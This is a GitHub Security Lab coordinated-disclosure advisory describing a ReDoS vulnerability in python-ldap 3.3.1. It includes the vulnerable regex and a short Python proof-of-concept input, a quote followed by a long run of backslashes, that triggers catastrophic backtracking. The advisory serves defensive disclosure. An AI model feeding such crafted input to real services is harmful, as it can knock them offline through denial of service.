skip to content
Back to GitHub.com
Home Bounties Research Advisories Get Involved Events
December 8, 2021

GHSL-2021-117: ReDoS (Regular Expression Denial of Service) in python-ldap

GitHub Security Lab

Coordinated Disclosure Timeline

Summary

python-ldap contains a regular expression that is vulnerable to ReDoS (Regular Expression Denial of Service).

Product

python-ldap

Tested Version

python-ldap-3.3.1

Details

ReDoS

ReDoS, or Regular Expression Denial of Service, is a vulnerability affecting inefficient regular expressions which can perform extremely badly when run on a crafted input string.

This vulnerability was found using a CodeQL query which identifies inefficient regular expressions. You can see the results of the query on python-ldap by following this link.

Vulnerability

The vulnerable regular expression is here.

To see that the regular expression is vulnerable, copy-paste it into a separate file as shown below:

import re

TOKENS_FINDALL = re.compile(
    r"(\()"           # opening parenthesis
    r"|"              # or
    r"(\))"           # closing parenthesis
    r"|"              # or
    r"([^'$()\s]+)"   # string of length >= 1 without '$() or whitespace
    r"|"              # or
    r"('(?:[^'\\]|\\\\|\\.)*?'(?!\w))"
                      # any string or empty string surrounded by unescaped
                      # single quotes except if right quote is succeeded by
                      # alphanumeric char
    r"|"              # or
    r"([^\s]+?)",     # residue, all non-whitespace strings
).findall

# triggers ReDoS
l = TOKENS_FINDALL("'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\");

Impact

This issue may lead to a denial of service.

Credit

This issue was discovered by GitHub team members @erik-krogh (Erik Krogh Kristensen) and @yoff (Rasmus Petersen).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-117 in any communication regarding this issue.